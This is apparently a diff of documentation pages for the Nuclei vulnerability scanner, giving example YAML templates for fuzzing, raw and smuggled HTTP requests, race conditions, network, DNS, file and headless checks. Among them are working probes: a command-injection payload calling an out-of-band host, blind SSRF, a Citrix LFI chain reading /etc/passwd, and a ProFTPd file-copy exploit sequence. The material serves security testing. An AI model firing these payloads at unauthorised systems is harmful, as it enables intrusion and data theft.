This template is example of DSL based duration matcher that returns `true` when the response time matched the defined duration, in this case 6 or more than 6 seconds.
```yaml
id: time-based-matcher
info:
name: DSL based response time matcher
author: pdteam
severity: none
http:
- raw:
- |
GET /slow HTTP/1.1
matchers:
- type: dsl
dsl:
- 'duration>=6'
```

View File

@ -0,0 +1,209 @@
---
title: "HTTP Fuzzing"
---
## Basic SSTI Template
A simple template to discover `{{<number>*<number>}}` type SSTI vulnerabilities.
```yaml
id: fuzz-reflection-ssti
info:
name: Basic Reflection Potential SSTI Detection
author: pdteam
severity: low
variables:
first: "{{rand_int(10000, 99999)}}"
second: "{{rand_int(10000, 99999)}}"
result: "{{to_number(first)*to_number(second)}}"
http:
- method: GET
path:
- "{{BaseURL}}"
payloads:
reflection:
- '{{concat("{{", "§first§*§second§", "}}")}}'
fuzzing:
- part: query
type: postfix
mode: multiple
fuzz:
- "{{reflection}}"
matchers:
- type: word
part: body
words:
- "{{result}}"
```
## Basic XSS Template
A simple template to discover XSS probe reflection in HTML pages.
```yaml
id: fuzz-reflection-xss
info:
name: Basic Reflection Potential XSS Detection
author: pdteam
severity: low
http:
- method: GET
path:
- "{{BaseURL}}"
payloads:
reflection:
- "6842'\"><9967"
stop-at-first-match: true
fuzzing:
- part: query
type: postfix
mode: single
fuzz:
- "{{reflection}}"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{reflection}}"
- type: word
part: header
words:
- "text/html"
```
## Basic OpenRedirect Template
A simple template to discover open-redirects issues.
```yaml
id: fuzz-open-redirect
info:
name: Basic Open Redirect Detection
author: pdteam
severity: low
http:
- method: GET
path:
- "{{BaseURL}}"
payloads:
redirect:
- "https://example.com"
fuzzing:
- part: query
type: replace
mode: single
keys-regex:
- "redirect.*"
fuzz:
- "{{redirect}}"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "{{redirect}}"
- type: status
status:
- 301
- 302
- 307
```
## Blind SSRF OOB Detection
A simple template to detect Blind SSRF in known-parameters using interact.sh with HTTP fuzzing.
```yaml
id: fuzz-ssrf
info:
name: Basic Blind SSRF Detection
author: pdteam
severity: low
http:
- method: GET
path:
- "{{BaseURL}}"
payloads:
redirect:
- "{{interactsh-url}}"
fuzzing:
- part: query
type: replace
mode: single
keys:
- "dest"
- "redirect"
- "uri"
- "path"
- "continue"
- "url"
- "window"
- "next"
- "data"
- "reference"
- "site"
- "html"
- "val"
- "validate"
- "domain"
- "callback"
- "return"
- "page"
- "feed"
- "host"
- "port"
- "to"
- "out"
- "view"
- "dir"
- "show"
- "navigation"
- "open"
fuzz:
- "https://{{redirect}}"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "http"
```
## Blind CMDi OOB based detection
A simple template to detect blind CMDI using interact.sh
```yaml
id: fuzz-cmdi
info:
name: Basic Blind CMDI Detection
author: pdteam
severity: low
http:
- method: GET
path:
- "{{BaseURL}}"
payloads:
redirect:
- "{{interactsh-url}}"
fuzzing:
fuzz:
- "nslookup {{redirect}}"
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
```

View File

@ -0,0 +1,216 @@
---
title: "HTTP Payloads"
---
## HTTP Intruder fuzzing
This template makes a defined POST request in RAW format along with in template defined payloads running `clusterbomb` intruder and checking for string match against response.
```yaml
id: multiple-raw-example
info:
name: Test RAW Template
author: pdteam
severity: info
# HTTP Intruder fuzzing with in template payload support.
http:
- raw:
- |
POST /?username=§username§&paramb=§password§ HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5)
Host: {{Hostname}}
another_header: {{base64('§password§')}}
Accept: */*
body=test
payloads:
username:
- admin
password:
- admin
- guest
- password
- test
- 12345
- 123456
attack: clusterbomb # Available: batteringram,pitchfork,clusterbomb
matchers:
- type: word
words:
- "Test is test matcher text"
```
## Fuzzing multiple requests
This template makes a defined POST request in RAW format along with wordlist based payloads running `clusterbomb` intruder and checking for string match against response.
```yaml
id: multiple-raw-example
info:
name: Test RAW Template
author: pdteam
severity: info
http:
- raw:
- |
POST /?param_a=§param_a§&paramb=§param_b§ HTTP/1.1
User-Agent: §param_a§
Host: {{Hostname}}
another_header: {{base64('§param_b§')}}
Accept: */*
admin=test
- |
DELETE / HTTP/1.1
User-Agent: nuclei
Host: {{Hostname}}
{{sha256('§param_a§')}}
- |
PUT / HTTP/1.1
Host: {{Hostname}}
{{html_escape('§param_a§')}} + {{hex_encode('§param_b§'))}}
attack: clusterbomb # Available types: batteringram,pitchfork,clusterbomb
payloads:
param_a: payloads/prams.txt
param_b: payloads/paths.txt
matchers:
- type: word
words:
- "Test is test matcher text"
```
## Authenticated fuzzing
This template makes a subsequent HTTP requests with defined requests maintaining sessions between each request and checking for string match against response.
```yaml
id: multiple-raw-example
info:
name: Test RAW Template
author: pdteam
severity: info
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
- |
POST /testing HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
testing=parameter
cookie-reuse: true # Cookie-reuse maintain the session between all request like browser.
matchers:
- type: word
words:
- "Test is test matcher text"
```
## Dynamic variable support
This template makes a subsequent HTTP requests maintaining sessions between each request, dynamically extracting data from one request and reusing them into another request using variable name and checking for string match against response.
```yaml
id: CVE-2020-8193
info:
name: Citrix unauthenticated LFI
author: pdteam
severity: high
reference: https://github.com/jas502n/CVE-2020-8193
http:
- raw:
- |
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/xml
X-NITRO-USER: xpyZxwy6
X-NITRO-PASS: xWXHUJ56
<appfwprofile><login></login></appfwprofile>
- |
GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
- |
GET /menu/neo HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
- |
GET /menu/stc HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
- |
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
Content-Type: application/xml
X-NITRO-USER: oY39DXzQ
X-NITRO-PASS: ZuU9Y9c1
rand_key: §randkey§
<appfwprofile><login></login></appfwprofile>
- |
POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
Content-Type: application/xml
X-NITRO-USER: oY39DXzQ
X-NITRO-PASS: ZuU9Y9c1
rand_key: §randkey§
<clipermission></clipermission>
cookie-reuse: true # Using cookie-reuse to maintain session between each request, same as browser.
extractors:
- type: regex
name: randkey # Variable name
part: body
internal: true
regex:
- "(?m)[0-9]{3,10}\\.[0-9]+"
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
part: body
```

View File

@ -0,0 +1,108 @@
---
title: "Race Condition"
---
## Race condition testing with single POST request.
This template makes a defined POST request in RAW format to `/coupons` endpoint, as the `race_count`is defined as `10`, this will make 10 requests at same time by holding last bytes for all the requests which sent together for all requests synchronizing the send event.
You can also define the matcher as any other template for the expected output which helps to identify if the race condition exploit worked or not.
```yaml
id: race-condition-testing
info:
name: Race Condition testing
author: pdteam
severity: info
http:
- raw:
- |
POST /coupons HTTP/1.1
Host: {{Hostname}}
Pragma: no-cache
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Cookie: user_session=42332423342987567896
promo_code=20OFF
race: true
race_count: 10
matchers:
- type: status
part: header
status:
- 200
```
## Race condition testing with multiple requests.
This template makes the defined and multiple POST requests in RAW format with `threads` sets to `5`, `threads` can be utilized in race condition templates when multiple requests needs to be sent to exploit the race condition, `threads` number should be same as the number of you are making with template and not needed if you're only making single request.
```yaml
id: race-condition-testing
info:
name: Race condition testing with multiple requests
author: pdteam
severity: info
http:
- raw:
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=1
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=2
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=3
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=4
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=5
threads: 5
race: true
matchers:
- type: status
status:
- 200
```

View File

@ -0,0 +1,252 @@
---
title: "Unsafe HTTP"
---
## Basic CL.TE
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
```yaml
id: CL-TE-http-smuggling
info:
name: HTTP request smuggling, basic CL.TE vulnerability
author: pdteam
severity: info
reference: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
http:
- raw:
- |+
POST / HTTP/1.1
Host: {{Hostname}}
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
- |+
POST / HTTP/1.1
Host: {{Hostname}}
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
unsafe: true
matchers:
- type: dsl
dsl:
- 'contains(body, "Unrecognized method GPOST")'
```
## Basic TE.CL
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
```yaml
id: TE-CL-http-smuggling
info:
name: HTTP request smuggling, basic TE.CL vulnerability
author: pdteam
severity: info
reference: https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
http:
- raw:
- |+
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
- |+
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
unsafe: true
matchers:
- type: dsl
dsl:
- 'contains(body, "Unrecognized method GPOST")'
```
## Frontend bypass CL.TE
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
```yaml
id: smuggling-bypass-front-end-controls-cl-te
info:
name: HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability
author: pdteam
severity: info
reference: https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te
http:
- raw:
- |+
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
- |+
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
unsafe: true
matchers:
- type: dsl
dsl:
- 'contains(body, "/admin/delete?username=carlos")'
```
## Differential responses based CL.TE
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
```yaml
id: confirming-cl-te-via-differential-responses-http-smuggling
info:
name: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses
author: pdteam
severity: info
reference: https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses
http:
- raw:
- |+
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
X-Ignore: X
- |+
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
X-Ignore: X
unsafe: true
matchers:
- type: dsl
dsl:
- 'status_code==404'
```
## Differential responses based TE.CL
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
```yaml
id: confirming-te-cl-via-differential-responses-http-smuggling
info:
name: HTTP request smuggling, confirming a TE.CL vulnerability via differential responses
author: pdteam
severity: info
reference: https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-te-cl-via-differential-responses
http:
- raw:
- |+
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
- |+
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
unsafe: true
matchers:
- type: dsl
dsl:
- 'status_code==404'
```

View File

@ -0,0 +1,72 @@
---
title: "Raw HTTP"
---
## Basic template
This template makes GET request to `/` path in RAW format and checking for string match against response.
```yaml
id: basic-raw-example
info:
name: Test RAW Template
author: pdteam
severity: info
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
matchers:
- type: word
words:
- "Test is test matcher text"
```
## Multiple RAW request
This template makes GET and POST request sequentially in RAW format and checking for string match against response.
```yaml
id: multiple-raw-example
info:
name: Test RAW Template
author: pdteam
severity: info
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
- |
POST /testing HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
testing=parameter
matchers:
- type: word
words:
- "Test is test matcher text"
```

View File

@ -0,0 +1,140 @@
---
title: "Network"
---
## Basic Network Request
This template connects to a network service, sends some data and reads 4 bytes from the response. Matchers are run to identify valid response, which in this case is `PONG`.
```yaml
id: basic-network-request
info:
name: Basic Network Request
author: pdteam
severity: info
tcp:
- host:
- "{{Hostname}}"
inputs:
- data: "PING\r\n"
read-size: 4
matchers:
- type: word
part: data
words:
- "PONG"
```
## TLS Network Request
Similar to the above template, but the connection to the service is done with TLS enabled.
```yaml
id: basic-tls-network-request
info:
name: Basic TLS Network Request
author: pdteam
severity: info
tcp:
- host:
- "tls://{{Hostname}}"
inputs:
- data: "PING\r\n"
read-size: 4
matchers:
- type: word
part: data
words:
- "PONG"
```
## Hex Input Request
This template connects to a network service, sends some data encoded in hexadecimal to the server and reads 4 bytes from the response. Matchers are run to identify valid response, which in this case is `PONG`. The match words here are encoded in Hexadecimal, using `encoding: hex` option of matchers.
```yaml
id: hex-network-request
info:
name: Hex Input Network Request
author: pdteam
severity: info
tcp:
- host:
- "{{Hostname}}"
inputs:
- data: "50494e47"
type: hex
- data: "\r\n"
read-size: 4
matchers:
- type: word
part: data
encoding: hex
words:
- "504f4e47"
```
## Input Expressions
Inputs specified in network also support DSL Helper Expressions, so you can create your own complex inputs using variety of nuclei helper functions. The below template is an example of using `hex_decode` function to send decoded input over wire.
```yaml
id: input-expressions-mongodb-detect
info:
name: Input Expression MongoDB Detection
author: pd-team
severity: info
reference: https://github.com/orleven/Tentacle
tcp:
- inputs:
- data: "{{hex_decode('3a000000a741000000000000d40700000000000061646d696e2e24636d640000000000ffffffff130000001069736d6173746572000100000000')}}"
host:
- "{{Hostname}}"
read-size: 2048
matchers:
- type: word
words:
- "logicalSessionTimeout"
- "localTime"
```
## Multi-Step Requests
This last example is an RCE in proFTPd which, if vulnerable, allows placing arbitrary files in any directory on the server. The detection process involves a random string on each nuclei run using `{{randstr}}`, and sending multiple lines of FTP input to the vulnerable server. At the end, a successful match is detected with the presence of `Copy successful` in the response.
```yaml
id: CVE-2015-3306
info:
name: ProFTPd RCE
author: pd-team
severity: high
reference: https://github.com/t0kx/exploit-CVE-2015-3306
tags: cve,cve2015,ftp,rce
tcp:
- inputs:
- data: "site cpfr /proc/self/cmdline\r\n"
read: 1024
- data: "site cpto /tmp/.{{randstr}}\r\n"
read: 1024
- data: "site cpfr /tmp/.{{randstr}}\r\n"
read: 1024
- data: "site cpto /var/www/html/{{randstr}}\r\n"
host:
- "{{Hostname}}"
read-size: 1024
matchers:
- type: word
words:
- "Copy successful"
```

View File

@ -0,0 +1,118 @@
---
title: "Workflow"
---
## Generic workflows
A generic workflow that runs two templates, one to detect Jira and another to detect Confluence.
```yaml
id: workflow-example
info:
name: Test Workflow Template
author: pdteam
workflows:
- template: technologies/jira-detect.yaml
- template: technologies/confluence-detect.yaml
```
## Basic conditional workflows
A condition based workflow, which first tries to detect if springboot is running on a target. If springboot is found, a list of exploits executed against it.
```yaml
id: springboot-workflow
info:
name: Springboot Security Checks
author: dwisiswant0
workflows:
- template: security-misconfiguration/springboot-detect.yaml
subtemplates:
- template: cves/CVE-2018-1271.yaml
- template: cves/CVE-2018-1271.yaml
- template: cves/CVE-2020-5410.yaml
- template: vulnerabilities/springboot-actuators-jolokia-xxe.yaml
- template: vulnerabilities/springboot-h2-db-rce.yaml
```
## Multi condition workflows
This template demonstrates nested workflows with nuclei, where there's multiple levels of chaining of templates.
```yaml
id: springboot-workflow
info:
name: Springboot Security Checks
author: dwisiswant0
workflows:
- template: technologies/tech-detect.yaml
matchers:
- name: lotus-domino
subtemplates:
- template: technologies/lotus-domino-version.yaml
subtemplates:
- template: cves/xx-yy-zz.yaml
subtemplates:
- template: cves/xx-xx-xx.yaml
```
## Conditional workflows with matcher
This template detects if WordPress is running on an input host, and if found a set of targeted exploits and CVEs are executed against it.
```yaml
id: workflow-example
info:
name: Test Workflow Template
author: pdteam
workflows:
- template: technologies/tech-detect.yaml
matchers:
- name: wordpress
subtemplates:
- template: cves/CVE-2019-6715.yaml
- template: cves/CVE-2019-9978.yaml
- template: files/wordpress-db-backup.yaml
- template: files/wordpress-debug-log.yaml
- template: files/wordpress-directory-listing.yaml
- template: files/wordpress-emergency-script.yaml
- template: files/wordpress-installer-log.yaml
- template: files/wordpress-tmm-db-migrate.yaml
- template: files/wordpress-user-enumeration.yaml
- template: security-misconfiguration/wordpress-accessible-wpconfig.yaml
- template: vulnerabilities/sassy-social-share.yaml
- template: vulnerabilities/w3c-total-cache-ssrf.yaml
- template: vulnerabilities/wordpress-duplicator-path-traversal.yaml
- template: vulnerabilities/wordpress-social-metrics-tracker.yaml
- template: vulnerabilities/wordpress-wordfence-xss.yaml
- template: vulnerabilities/wordpress-wpcourses-info-disclosure.yaml
```
## Multiple Matcher workflow
Very similar to the last example, with multiple matcher names.
```yaml
id: workflow-multiple-matcher
info:
name: Test Workflow Template
author: pdteam
workflows:
- template: technologies/tech-detect.yaml
matchers:
- name: vbulletin
subtemplates:
- tags: vbulletin
- name: jboss
subtemplates:
- tags: jboss
```

113
docs/template-guide/dns.mdx Normal file
View File

@ -0,0 +1,113 @@
---
title: "DNS"
---
## DNS Requests
DNS protocol can be modelled in nuclei with ease. Fully Customizable DNS requests can be sent by nuclei to nameservers and matching/extracting can be performed on their response.
DNS Requests start with a **dns** block which specifies the start of the requests for the template.
```yaml
# Start the requests for the template right here
dns:
```
### Type
First thing in the request is **type**. Request type can be **A**, **NS**, **CNAME**, **SOA**, **PTR**, **MX**, **TXT**, **AAAA**.
```yaml
# type is the type for the dns request
type: A
```
### Name
The next part of the requests is the DNS **name** to resolve. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
1. **FQDN** - variable is replaced by the hostname/FQDN of the target on runtime.
An example name value:
```yaml
name: {{FQDN}}.com
# This value will be replaced on execution with the FQDN.
# If FQDN is https://this.is.an.example then the
# name will get replaced to the following: this.is.an.example.com
```
As of now the tool supports only one name per request.
### Class
Class type can be **INET**, **CSNET**, **CHAOS**, **HESIOD**, **NONE** and **ANY**. Usually it's enough to just leave it as **INET**.
```yaml
# method is the class for the dns request
class: inet
```
### Recursion
Recursion is a boolean value, and determines if the resolver should only return cached results, or traverse the whole dns root tree to retrieve fresh results. Generally it's better to leave it as **true**.
```yaml
# Recursion is a boolean determining if the request is recursive
recursion: true
```
### Retries
Retries is the number of attempts a dns query is retried before giving up among different resolvers. It's recommended a reasonable value, like **3**.
```yaml
# Retries is a number of retries before giving up on dns resolution
retries: 3
```
### Matchers / Extractor Parts
Valid `part` values supported by **DNS** protocol for Matchers / Extractor are -
| Value | Description |
|------------------|-----------------------------|
| request | DNS Request |
| rcode | DNS Rcode |
| question | DNS Question Message |
| extra | DNS Message Extra Field |
| answer | DNS Message Answer Field |
| ns | DNS Message Authority Field |
| raw / all / body | Raw DNS Message |
### **Example DNS Template**
The final example template file for performing `A` query, and check if CNAME and A records are in the response is as follows:
```yaml
id: dummy-cname-a
info:
name: Dummy A dns request
author: mzack9999
severity: none
description: Checks if CNAME and A record is returned.
dns:
- name: "{{FQDN}}"
type: A
class: inet
recursion: true
retries: 3
matchers:
- type: word
words:
# The response must contain a CNAME record
- "IN\tCNAME"
# and also at least 1 A record
- "IN\tA"
condition: and
```
More complete examples are provided [here](/template-example/dns)

View File

@ -0,0 +1,106 @@
---
title : "File"
---
## File Requests
Nuclei allows modelling templates that can match/extract on filesystem too.
```yaml
# Start of file template block
file:
```
### Extensions
To match on all extensions (except the ones in default denylist), use the following -
```yaml
extensions:
- all
```
You can also provide a list of custom extensions that should be matched upon.
```yaml
extensions:
- py
- go
```
A denylist of extensions can also be provided. Files with these extensions will not be processed by nuclei.
```yaml
extensions:
- all
denylist:
- go
- py
- txt
```
By default, certain extensions are excluded in nuclei file module. A list of these is provided below-
```
3g2,3gp,7z,apk,arj,avi,axd,bmp,css,csv,deb,dll,doc,drv,eot,exe,flv,gif,gifv,gz,h264,ico,iso,jar,jpeg,jpg,lock,m4a,m4v,map,mkv,mov,mp3,mp4,mpeg,mpg,msi,ogg,ogm,ogv,otf,pdf,pkg,png,ppt,psd,rar,rm,rpm,svg,swf,sys,tar,tar.gz,tif,tiff,ttf,txt,vob,wav,webm,wmv,woff,woff2,xcf,xls,xlsx,zip
```
### More Options
**max-size** parameter can be provided which limits the maximum size (in bytes) of files read by nuclei engine.
As default the `max-size` value is 5 MB (5242880), Files larger than the `max-size` will not be processed.
-----
**no-recursive** option disables recursive walking of directories / globs while input is being processed for file module of nuclei.
### Matchers / Extractor
**File** protocol supports 2 types of Matchers -
| Matcher Type | Part Matched |
|--------------|--------------|
| word | all |
| regex | all |
| Extractors Type | Part Matched |
|-----------------|--------------|
| word | all |
| regex | all |
### **Example File Template**
The final example template file for a Private Key detection is provided below.
```yaml
id: google-api-key
info:
name: Google API Key
author: pdteam
severity: info
file:
- extensions:
- all
- txt
extractors:
- type: regex
name: google-api-key
regex:
- "AIza[0-9A-Za-z\\-_]{35}"
```
```bash
# Running file template on http-response/ directory
nuclei -t file.yaml -target http-response/
# Running file template on output.txt
nuclei -t file.yaml -target output.txt
```
More complete examples are provided [here](/template-example/file)

View File

@ -0,0 +1,386 @@
---
title: "Headless"
---
## Headless Requests
Nuclei supports automation of a browser with simple DSL. Headless browser engine can be fully customized and user actions can be scripted allowing complete control over the browser. This allows for a variety of unique and custom workflows.
```yaml
# Start the requests for the template right here
headless:
```
### Actions
Action is a single piece of Task for the Nuclei Headless Engine. Each action manipulates the browser state in some way, and finally leads to the state that we are interested in capturing.
Nuclei supports a variety of actions. A list of these Actions along with their arguments are given below -
### navigate
Navigate visits a given URL. url field supports variables like `{{BaseURL}}`, `{{Hostname}}` to customize the request fully.
```yaml
action: navigate
args:
url: "{{BaseURL}}
```
#### script
Script runs a JS code on the current browser page. At the simplest level, you can just provide a `code` argument with the JS snippet you want to execute, and it will be run on the page.
```yaml
action: script
args:
code: alert(document.domain)
```
Suppose you want to run a matcher on a JS object to inspect its value. This type of data extraction use cases are also supported with nuclei headless. As an example, let's say the application sets an object called `window.random-object` with a value, and you want to match on that value.
```yaml
- action: script
args:
code: window.random-object
name: script-name
...
matchers:
- type: word
part: script-name
words:
- "some-value"
```
Nuclei supports running some custom Javascript, before the page load with the `hook` argument. This will always run the provided Javascript, before any of the pages load.
The example provided hooks `window.alert` so that the alerts that are generated by the application do not stop the crawler.
```yaml
- action: script
args:
code: (function() { window.alert=function(){} })()
hook: true
```
This is one use case, there are many more use cases of function hooking such as DOM XSS Detection and Javascript-Injection based testing techniques. Further examples are provided on examples page.
#### click
Click simulates clicking with the Left-Mouse button on an element specified by a selector.
```yaml
action: click
args:
by: xpath
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
```
Nuclei supports a variety of selector types, including but not limited to XPath, Regex, CSS, etc. For more information about selectors, see [here](#selectors).
#### rightclick
RightClick simulates clicking with the Right-Mouse button on an element specified by a selector.
```yaml
action: rightclick
args:
by: xpath
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
```
#### text
Text simulates typing something into an input with Keyboard. Selectors can be used to specify the element to type in.
```yaml
action: text
args:
by: xpath
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
value: username
```
#### screenshot
Screenshots takes the screenshots of a page and writes it to disk. It supports both full page and normal screenshots.
```yaml
action: screenshot
args:
to: /root/test/screenshot-web
```
If you require full page screenshot, it can be achieved with `fullpage: true` option in the args.
```yaml
action: screenshot
args:
to: /root/test/screenshot-web
fullpage: true
```
#### time
Time enters values into time inputs on pages in RFC3339 format.
```yaml
action: time
args:
by: xpath
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
value: 2006-01-02T15:04:05Z07:00
```
#### select
Select performs selection on an HTML Input by a selector.
```yaml
action: select
args:
by: xpath
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
selected: true
value: option[value=two]
selector: regex
```
#### files
Files handles a file upload input on the webpage.
```yaml
action: files
args:
by: xpath
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
value: /root/test/payload.txt
```
#### waitload
WaitLoads waits for a page to finish loading and get in Idle state.
```yaml
action: waitload
```
Nuclei's `waitload` action waits for DOM to load, and window.onload event to be received after which we wait for the page to become idle for 1 seconds.
#### getresource
GetResource returns the src attribute for an element.
```yaml
action: getresource
name: extracted-value-src
args:
by: xpath
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
```
#### extract
Extract extracts either the Text for an HTML Node, or an attribute as specified by the user.
The below code will extract the Text for the given XPath Selector Element, which can then also be matched upon by name `extracted-value` with matchers and extractors.
```yaml
action: extract
name: extracted-value
args:
by: xpath
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
```
An attribute can also be extracted for an element. For example -
```yaml
action: extract
name: extracted-value-href
args:
by: xpath
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
target: attribute
attribute: href
```
#### setmethod
SetMethod overrides the method for the request.
```yaml
action: setmethod
args:
part: request
method: DELETE
```
#### addheader
AddHeader adds a header to the requests / responses. This does not overwrite any pre-existing headers.
```yaml
action: addheader
args:
part: response # can be request too
key: Content-Security-Policy
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
```
#### setheader
SetHeader sets a header in the requests / responses.
```yaml
action: setheader
args:
part: response # can be request too
key: Content-Security-Policy
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
```
#### deleteheader
DeleteHeader deletes a header from requests / responses.
```yaml
action: deleteheader
args:
part: response # can be request too
key: Content-Security-Policy
```
#### setbody
SetBody sets the body for a request / response.
```yaml
action: setbody
args:
part: response # can be request too
body: '{"success":"ok"}'
```
#### waitevent
WaitEvent waits for an event to trigger on the page.
```yaml
action: waitevent
args:
event: 'Page.loadEventFired'
```
The list of events supported are listed [here](https://github.com/go-rod/rod/blob/master/lib/proto/definitions.go).
#### keyboard
Keyboard simulates a single key-press on the keyboard.
```yaml
action: keyboard
args:
keys: '\r' # this simulates pressing enter key on keyboard
```
`keys` argument accepts key-codes.
